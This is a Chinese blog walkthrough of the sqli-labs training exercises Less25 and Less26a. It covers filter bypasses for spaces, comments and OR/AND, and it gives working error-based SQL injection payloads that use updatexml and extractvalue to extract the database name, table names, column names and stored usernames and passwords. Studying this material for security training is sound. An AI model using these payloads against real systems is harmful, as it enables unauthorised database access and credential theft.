目录
推荐:
一、(手工)SQL注入基本步骤:
二、Less25(GET-Error based - All your SPACES and COMMENTS belong to us)
2.1、简介:(过滤-报错回显)
2.2、第一步:注入点测试
2.3、第二步:分析过滤
2.4、第三步:判断字段数
2.5、第四步:暴库
2.6、第五步:爆表名
2.7、第六步:爆字段
2.8、第七步:爆数据
二、Less26a(GET-Blind based - All your SPACES and COMMENTS belong to us-string single quote-Parenthesis )
2.1、简介:(过滤-报错回显)
2.2、利用过程:
推荐:
【SQL注入】数字型注入 & 字符型注入https://blog.csdn.net/qq_53079406/article/details/125741101?spm=1001.2014.3001.5501https://blog.csdn.net/qq_53079406/article/details/125741101?spm=1001.2014.3001.5501
【WAF绕过】SQL注入、文件上传、XSShttps://blog.csdn.net/qq_53079406/article/details/124882861?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522165759520116782390512182%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=165759520116782390512182&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-1-124882861-null-null.185%5Ev2%5Econtrol&utm_term=SQL%E7%BB%95%E8%BF%87&spm=1018.2226.3001.4450https://blog.csdn.net/qq_53079406/article/details/124882861?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522165759520116782390512182%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=165759520116782390512182&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-1-124882861-null-null.185%5Ev2%5Econtrol&utm_term=SQL%E7%BB%95%E8%BF%87&spm=1018.2226.3001.4450
一、(手工)SQL注入基本步骤:
第一步:注入点测试
第二步:分析权限
第三步:判断字段数
第四步:爆数据库名
第五步:爆表名
第六步:爆字段名
第七步:爆数据
二、Less25(GET-Error based - All your SPACES and COMMENTS belong to us)
2.1、简介:(过滤-报错回显)
请求方法:GET
方法:or,and , /* , – , # , 空格 , /过滤分析+报错回显
2.2、第一步:注入点测试
输入?id=1
后面加上单引号发现报错了
说明是单引号闭合,即是字符型注入
且可利用报错回显
2.3、第二步:分析过滤
方法一:
考虑一步一步将注入语句字符一个一个替换掉,直到不报错(浪费时间)
或者全部替换(如果报错,不知道哪里被过滤了)
方法二:
获取源码进行白盒审计(最优)
方法三:
eg:输入id=union
看输入回显过滤语句的情况
最后可以知道被过滤的字符有
or,and , /* , – , # , 空格 , /,/s
替代空格:
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格
空格换成 ||
or 和 and可以用 && 和 || 替换或者采用双写绕过
&& 要urlencode成 %26%26
注释被过滤掉了,就可以使用拼接进语句,将2侧进行闭合
2.4、第三步:判断字段数
2.5、第四步:暴库
?id=1'%26%26updatexml(1,concat(0x7e,(database())),1)%26%26'1' ='1
2.6、第五步:爆表名
?id=1' || updatexml(1,concat(0x7e,(select (group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database())),0x7e),1) || '1' ='1
或者
?id=1'||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)=database())))||'
2.7、第六步:爆字段
?id=1'||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema)=(database())anandd(table_name)='users')))||'
2.8、第七步:爆数据
?id=1'||extractvalue(1,concat(0x7e,(select(substr((group_concat(username,passwoorrd)),1,32))from(users))))||'
二、Less26a(GET-Blind based - All your SPACES and COMMENTS belong to us-string single quote-Parenthesis )
2.1、简介:(过滤-报错回显)
请求方法:GET
方法:过滤分析+报错回显
2.2、利用过程:
闭合使用')闭合
后面基本上和Less26一样了